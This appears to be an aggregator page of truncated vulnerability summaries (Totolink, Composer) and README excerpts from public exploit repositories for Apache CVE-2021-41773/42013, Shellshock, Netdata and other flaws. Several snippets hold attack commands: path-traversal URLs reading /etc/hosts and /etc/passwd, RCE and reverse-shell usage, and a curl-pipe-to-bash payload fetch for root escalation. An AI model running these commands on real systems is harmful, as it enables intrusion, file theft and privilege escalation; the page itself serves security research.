CVE-2026-105284

A weakness has been identified in Totolink A3002MU 1.0.0-B20230403.1455. The impacted element is the function sub40FCFC of the file /bin/boa of the component Authentication Check. Executing a manipulation can lead to improper authorization. The attack may be launched remotely. The exploit has bee...

CVE-2026-105284 Totolink A3002MU Authentication Check boa sub_40FCFC improper authorization

A weakness has been identified in Totolink A3002MU 1.0.0-B20230403.1455. The impacted element is the function sub40FCFC of the file /bin/boa of the component Authentication Check. Executing a manipulation can lead to improper authorization. The attack may be launched remotely. The exploit has bee...

EUVD-2026-92331

A weakness has been identified in Totolink A3002MU 1.0.0-B20230403.1455. The impacted element is the function sub40FCFC of the file /bin/boa of the component Authentication Check. Executing a manipulation can lead to improper authorization. The attack may be launched remotely. The exploit has bee...

CVE-2026-105284

The Totolink A3002MU (version 1.0.0-B20230403.1455) is vulnerable to improper authorization due to a weakness in the sub_40FCFC function of the /bin/boa file within the Authentication Check component. An attacker can launch a remote manipulation to bypass authorization controls. Public exploit co...

CVE-2026-105284: Improper Authorization

A weakness has been identified in Totolink A3002MU 1.0.0-B20230403.1455. The impacted element is the function sub40FCFC of the file /bin/boa of the component Authentication Check. Executing a manipulation can lead to improper authorization. The attack may be launched remotely. The exploit has bee...

exploitApache

exploitApache CVE-2021-41773: cgi-bin 경로 탐색 익스플로잇...

metasploitable2-privilege-escalation

Task 05 — Privilege Escalation Zyroo Cybersecurity Internsh...

cgi-bin-shellshock

사용 방법 저장소 복제 또는 원하는 파일을 복사하여 붙여넣기 sudo git clone https://github.com/Gurguii/shellshock.sh 스크립트 실행 Bash bash shellshock.sh -u -h -p Python python3 shellshock.py -u -lh -lp 참고: 기본 LPORT는 4444이며, URL은 필수입니다. URL만 제공되면 RCE를 수행하고, 그렇지 않으면 제공된 lhost 및 lport로 RSHELL을 수행합니다...

CVE-2024-32019-poc

CVE-2024-32019-poc Netdata ndsudo PoC 바이너리 빌드: go build -ldflags "-s -w" -o nvme poc.go upx nvme bash 스크립트 실행: bash exploit.sh 대상 머신에서 쓰기 가능한 디렉토리에서 실행: curl http://:8000/payload.sh | bash 자동으로 nvme 바이너리를 다운로드하고, 경로를 설정하고, ndsudo를 실행한 후 /bin/bash에 SUID 를 추가합니다. 아마도 exploit.sh에서 ndsudo 경로를 변경해야 할 ...

Cgi-bin_bash_Reverse

Cgi-binbashReverse CVE-2014-6271에 대한 PoC 출처:https://gist.github.com/matjohn2/bc9689c60d4c9c5a2538...

CVE-2021-41773

https://target/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts id: CVE-2021-41773 info: name: Apache 2.4.49 Exploit author: numanturle severity: high requests: - method: GET path: - "BaseURL/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts" matchers-condition: and matchers: - type: regex regex: -...

CVE-2021-41773

CVE-2021-41773 CVE-2021-41773을 위한 POC & Lab 실습 환경 설정 $ git clone https://github.com/0xc4t/CVE-2021-41773 $ cd CVE-2021-41773 $ docker build -t cve-2021-41773 . $ docker run --name cve-2021-41773 -p 81:80 cve-2021-41773 PoC RCE curl...

apache_2.4.50

Apache HTTP Server 2.4.50 LFI & RCE CVE-2021-42013 - Apache HTTP Server 2.4.50 LFI & RCE를 위한 python3 스크립트입니다. RCE를 사용하려면 cgi-bin이 활성화되어 있어야 합니다. 시작하기 프로그램 실행 LFI python3 apache2.4.50.py -t http://apache.hack/ -lfi /etc/passwd RCE python3 apache2.4.50.py -t http://apache.hack/ -rce whoami...

cve-2021-41773

Apache 2.4.49 - 경로 탐색 또는 원격 코드 실행 cve-2021-41773.py는 Apache 2.4.49에서 경로 탐색Path Traversal 또는 원격 코드 실행Remote Code Execution 취약점을 찾는 데 도움이 되는 파이썬 스크립트입니다. CVE-2021-41773을 실습해볼 수 있도록 취약한 Docker 인스턴스가 제공됩니다. CGI-BIN이 활성화되어 있으면 경로 탐색은 수행할 수 없지만 원격 코드 실행은 수행할 수 있으므로, httpd.conf의 Alias 섹션 아래에 "icons" 디렉터...

perf-exploiter

perf-exploiter CVE-2014-2630 최근 침투 테스트 중 하나에서 우리는 "xglance-bin"이라는 suid 바이너리에 영향을 미치는 취약점을 악용했습니다. HP Performance Monitoring 솔루션 의 일부인 이 취약점을 통해 일부 Linux RHEL 7.x/8.x 시스템에서 로컬 비특권 세션을 root로 승격할 수 있었습니다. 솔직히 말하면, 2014년부터 RHEL이 설치된 많은 HP 서버에서 이 특정 취약점을 자주 악용했기 때문에 이번이 처음은 아닙니다. 실제로 이 결함에 대해 CVE가 등록...

Bin-Finder

説明 このツールは、特定のバイナリがロードされているプロセス、またはロードされていないプロセスを検索します。これは以下のシナリオで役立ちます。 特定のEDR/AV DLLがロードされていないプロセスを検出できます。これにより、EDRの例外検出につながる可能性があります。 最小限のプロセス間アクティビティで特定のプロセスのPIDを取得できます（例：c:\windows\sytem32\lsass.exe がロードされたプロセスを検索すると、LsassのPIDが得られます）。 実行中の各svchostプロセスを反復処理することなく、サービスまたはRPC/COMサーバーのPIDを取得できます。...

GHSA-96H3-5X6V-M776 Composer: GHSA-gjfg-22fp-rrxx fix bypass via symlinked package bin path

Summary A malicious or compromised Composer package could, when installed as a dependency, cause Composer to change the permissions of a file outside that package's own directory and to register a runnable vendor/bin command that points at that outside file. This is a path traversal and link...

Composer: GHSA-gjfg-22fp-rrxx fix bypass via symlinked package bin path

Summary A malicious or compromised Composer package could, when installed as a dependency, cause Composer to change the permissions of a file outside that package's own directory and to register a runnable vendor/bin command that points at that outside file. This is a path traversal and link...

EUVD-2026-80863

Composer: GHSA-gjfg-22fp-rrxx fix bypass via symlinked package bin path...

CVE-2021-41773

CVE-2021-41773 취약 서비스 설치 여러 옵션: 1. Docker 컨테이너 docker run -d -p 8080:80 12345qwert123456/apache2449cve-2021-41773 2. Dockerfile git clone https://github.com/12345qwert123456/CVE-2021-41773.git cd CVE-2021-41773-Vulnerable-service/2.4.49 docker build -t apache2449cve-2021-41773 . docker run -d -p...